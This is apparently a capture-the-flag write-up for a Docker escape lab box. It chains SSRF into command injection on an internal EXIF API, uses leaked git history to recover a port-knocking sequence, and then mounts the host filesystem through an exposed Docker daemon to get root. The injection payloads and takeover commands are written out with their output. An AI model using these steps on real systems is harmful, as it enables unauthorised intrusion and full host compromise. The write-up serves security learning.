We have a gallery node.js app with some interesting api endpoints specially the /api/exif. The box itself was hard to fuzz as it was really unstable. After 4 hours poking around i found that /api/exif?url= is not vulnarable to code injection and ssrf attack seemed futile as well until reading the hint x1000 times i just checked /.well-known/security.txt
which gave me an interesting answer
first flag
Hey you found me!
The security.txt file is made to help security researchers and ethical hackers to contact the company about security issues.
See https://securitytxt.org/ for more information.
Ping /api/fl46 with a HEAD request for a nifty treat.
curl --head http://10.10.169.244/api/fl46
HTTP/1.1 200 OK
Server: nginx/1.19.6
Date: Thu, 18 Feb 2021 12:50:47 GMT
Connection: keep-alive
flag: THM{REDACTED}
After that poking and enumeration around gave us some interesting stuff with the robots.txt,but it was bit confusing until someone told me use the filename and endpoints as reference to enumerate the *.bak.txt file name which gave me finnaly
http://10.10.183.199/exif-util.bak.txt
:
<template>
<section>
<div class="container">
<h1 class="title">Exif Utils</h1>
<section>
<form @submit.prevent="submitUrl" name="submitUrl">
<b-field grouped label="Enter a URL to an image">
<b-input
placeholder="http://..."
expanded
v-model="url"
></b-input>
<b-button native-type="submit" type="is-dark">
Submit
</b-button>
</b-field>
</form>
</section>
<section v-if="hasResponse">
<pre>
{{ response }}
</pre>
</section>
</div>
</section>
</template>
<script>
export default {
name: 'Exif Util',
auth: false,
data() {
return {
hasResponse: false,
response: '',
url: '',
}
},
methods: {
async submitUrl() {
this.hasResponse = false
console.log('Submitted URL')
try {
const response = await this.$axios.$get('http://api-dev-backup:8080/exif', {
params: {
url: this.url,
},
})
this.hasResponse = true
this.response = response
} catch (err) {
console.log(err)
this.$buefy.notification.open({
duration: 4000,
message: 'Something bad happened, please verify that the URL is valid',
type: 'is-danger',
position: 'is-top',
hasIcon: true,
})
}
},
},
}
</script>
Where we can see that the exif-utils has a backup api dev inside which means ,one of the possible soulution to use a ssrf attack on exif-util and after a while i found some interesting thing that the backup exif tool was vulnarable to command injection,which gave us a perfect foothold to poke around on the filesystem. Some interesting files I found on the way:
payload:
http://api-dev-backup:8080/exif?url=;cat%20%2froot%2fdev-note.txt
Hey guys,
Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.
Anyways, the password is fluffybunnies123
Cheers,
Hydra
Interesting,but not much helpfull ,but in the root directory there are interesting files.
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
An error occurred: File format could not be determined
Retrieved Content
----------------------------------------
curl: no URL specified!
curl: try 'curl --help' or 'curl --manual' for more information
[user]
email = hydragyrum@example.com
name = Hydra
drwx------ 1 root root 4096 Jan 7 16:48 .
drwxr-xr-x 1 root root 4096 Jan 7 22:14 ..
lrwxrwxrwx 1 root root 9 Jan 6 20:51 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 1 root root 4096 Jan 7 16:48 .git
-rw-r--r-- 1 root root 53 Jan 6 20:51 .gitconfig
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-rw-r-- 1 root root 201 Jan 7 16:46 dev-note.txt
There is a git repo. Lets see what happened in there
http://api-dev-backup:8080/exif?url=;cd%20%2froot%20%26%26%20git%20log%20-p
commit 5242825dfd6b96819f65d17a1c31a99fea4ffb6a
Author: Hydra <hydragyrum@example.com>
Date: Thu Jan 7 16:48:58 2021 +0000
fixed the dev note
diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..efadf5b
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+Apparently leaving the flag and docker access on the server is a bad idea, or so the security guys tell me. I've deleted the stuff.
+
+Anyways, the password is fluffybunnies123
+
+Cheers,
+
+Hydra
\ No newline at end of file
commit 4530ff7f56b215fa9fe76c4d7cc1319960c4e539
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000
Removed the flag and original dev note b/c Security
diff --git a/dev-note.txt b/dev-note.txt
deleted file mode 100644
index 89dcd01..0000000
--- a/dev-note.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-Hey guys,
-
-I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
-
-Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
-
-Cheers,
-
-Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
deleted file mode 100644
index aae8129..0000000
--- a/flag.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-You found the root flag, or did you?
-
-THM{REDACTED}
\ No newline at end of file
commit a3d30a7d0510dc6565ff9316e3fb84434916dee8
Author: Hydra <hydragyrum@example.com>
Date: Wed Jan 6 20:51:39 2021 +0000
Added the flag and dev notes
diff --git a/dev-note.txt b/dev-note.txt
new file mode 100644
index 0000000..89dcd01
--- /dev/null
+++ b/dev-note.txt
@@ -0,0 +1,9 @@
+Hey guys,
+
+I got tired of losing the ssh key all the time so I setup a way to open up the docker for remote admin.
+
+Just knock on ports 42, 1337, 10420, 6969, and 63000 to open the docker tcp port.
+
+Cheers,
+
+Hydra
\ No newline at end of file
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..aae8129
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1,3 @@
+You found the root flag, or did you?
+
+THM{REDACTED}
\ No newline at end of file
Soo this mean we have a docker daemon port exposure ,because of our “lazy” sysadmin.
Easiest Port knocking script:
nc -z 10.10.169.244 42 1337 10420 6969 63000
nmap 10.10.169.244 -p 2375
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 12:55 UTC
Nmap scan report for 10.10.169.244
Host is up (0.27s latency).
PORT STATE SERVICE
2375/tcp open docker
Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds
BOI gaze upon ,we have a way to communicate with that so we need the docker-cli package
Settings up our environment
kali@kalinka:~$ export DOCKER_HOST="tcp://10.10.63.196:2375"
kali@kalinka:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
49fe455a9681 frontend "/docker-entrypoint.…" 5 weeks ago Up 25 minutes 0.0.0.0:80->80/tcp dockerescapecompose_frontend_1
4b51f5742aad exif-api-dev "./application -Dqua…" 5 weeks ago Up 25 minutes dockerescapecompose_api-dev-backup_1
cb83912607b9 exif-api "./application -Dqua…" 5 weeks ago Up 25 minutes 8080/tcp dockerescapecompose_api_1
548b701caa56 endlessh "/endlessh -v" 5 weeks ago Up 25 minutes 0.0.0.0:22->2222/tcp dockerescapecompose_endlessh_1
kali@kalinka:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
49fe455a9681 frontend "/docker-entrypoint.…" 5 weeks ago Up 25 minutes 0.0.0.0:80->80/tcp dockerescapecompose_frontend_1
4b51f5742aad exif-api-dev "./application -Dqua…" 5 weeks ago Up 25 minutes dockerescapecompose_api-dev-backup_1
cb83912607b9 exif-api "./application -Dqua…" 5 weeks ago Up 25 minutes 8080/tcp dockerescapecompose_api_1
548b701caa56 endlessh "/endlessh -v" 5 weeks ago Up 25 minutes 0.0.0.0:22->2222/tcp dockerescapecompose_endlessh_1
kali@kalinka:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
49fe455a9681 frontend "/docker-entrypoint.…" 5 weeks ago Up 27 minutes 0.0.0.0:80->80/tcp dockerescapecompose_frontend_1
4b51f5742aad exif-api-dev "./application -Dqua…" 5 weeks ago Up 27 minutes dockerescapecompose_api-dev-backup_1
cb83912607b9 exif-api "./application -Dqua…" 5 weeks ago Up 27 minutes 8080/tcp dockerescapecompose_api_1
548b701caa56 endlessh "/endlessh -v" 5 weeks ago Up 27 minutes 0.0.0.0:22->2222/tcp dockerescapecompose_endlessh_1
kali@kalinka:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
exif-api-dev latest 4084cb55e1c7 5 weeks ago 214MB
exif-api latest 923c5821b907 5 weeks ago 163MB
frontend latest 577f9da1362e 5 weeks ago 138MB
endlessh latest 7bde5182dc5e 6 weeks ago 5.67MB
nginx latest ae2feff98a0c 2 months ago 133MB
debian 10-slim 4a9cd57610d6 2 months ago 69.2MB
registry.access.redhat.com/ubi8/ubi-minimal 8.3 7331d26c1fdf 2 months ago 103MB
alpine 3.9 78a2ce922f86 10 months ago 5.55MB
Interesting we have a few base image installed as well, lets see if we can mount host machine root partition
kali@kalinka:~$ docker run -ti alpine -v /:/mnt
Unable to find image 'alpine:latest' locally
Silly me there is no latest available so lets see what version we have
kali@kalinka:~$ docker images alpine
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine 3.9 78a2ce922f86 10 months ago 5.55MB
kali@kalinka:~$ docker run -ti -v /:/mnt 78a2ce922f86 sh
/ # chroot /mnt
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@a73060055db9:/# ls
bin home lib64 opt sbin tmp vmlinuz.old
boot initrd.img lost+found proc srv usr
dev initrd.img.old media root swapfile var
etc lib mnt run sys vmlinuz
root@a73060055db9:/# ls -la
total 239784
drwxr-xr-x 22 root root 4096 Jan 9 22:11 .
drwxr-xr-x 22 root root 4096 Jan 9 22:11 ..
drwxr-xr-x 2 root root 4096 Jan 6 23:49 bin
drwxr-xr-x 3 root root 4096 Jan 9 22:52 boot
drwxr-xr-x 17 root root 3680 Feb 18 14:39 dev
drwxr-xr-x 82 root root 4096 Feb 18 10:08 etc
drwxr-xr-x 3 root root 4096 Jul 22 2020 home
lrwxrwxrwx 1 root root 34 Jan 9 22:11 initrd.img -> boot/initrd.img-4.15.0-130-generic
lrwxrwxrwx 1 root root 34 Jan 9 22:11 initrd.img.old -> boot/initrd.img-4.15.0-129-generic
drwxr-xr-x 18 root root 4096 Jan 6 22:40 lib
drwxr-xr-x 2 root root 4096 Jan 6 17:52 lib64
drwx------ 2 root root 16384 Jul 22 2020 lost+found
drwxr-xr-x 2 root root 4096 Jul 22 2020 media
drwxr-xr-x 2 root root 4096 Jul 22 2020 mnt
drwxr-xr-x 3 root root 4096 Jan 6 19:06 opt
dr-xr-xr-x 96 root root 0 Feb 18 14:39 proc
drwx------ 3 root root 4096 Jan 6 23:37 root
drwxr-xr-x 19 root root 580 Feb 18 14:40 run
drwxr-xr-x 2 root root 4096 Jan 6 23:49 sbin
drwxr-xr-x 2 root root 4096 Jul 22 2020 srv
-rw------- 1 root root 245452800 Jul 22 2020 swapfile
dr-xr-xr-x 13 root root 0 Feb 18 14:39 sys
drwxrwxrwt 9 root root 4096 Feb 18 15:13 tmp
drwxr-xr-x 11 root root 4096 Jan 6 19:05 usr
drwxr-xr-x 11 root root 4096 Jul 22 2020 var
lrwxrwxrwx 1 root root 31 Jan 9 22:11 vmlinuz -> boot/vmlinuz-4.15.0-130-generic
lrwxrwxrwx 1 root root 31 Jan 9 22:11 vmlinuz.old -> boot/vmlinuz-4.15.0-129-generic
root@a73060055db9:/# cd root
root@a73060055db9:~# ls
flag.txt
root@a73060055db9:~# cat flag.txt
Congrats, you found the real flag!
THM{REDACTED}
So we finished this box. This was a really interesting box, the foothold was a real pain in the bacon ,because it was a bit guessy for my taste. However after we found the command injection through a ssrf attack it was a real treat. And the bit greybeard portknocking part was amusing for sure. At the end the docker part was the easiest part in my opinion ,because I have to docker daily bases as I am a self-hosting a few services myself.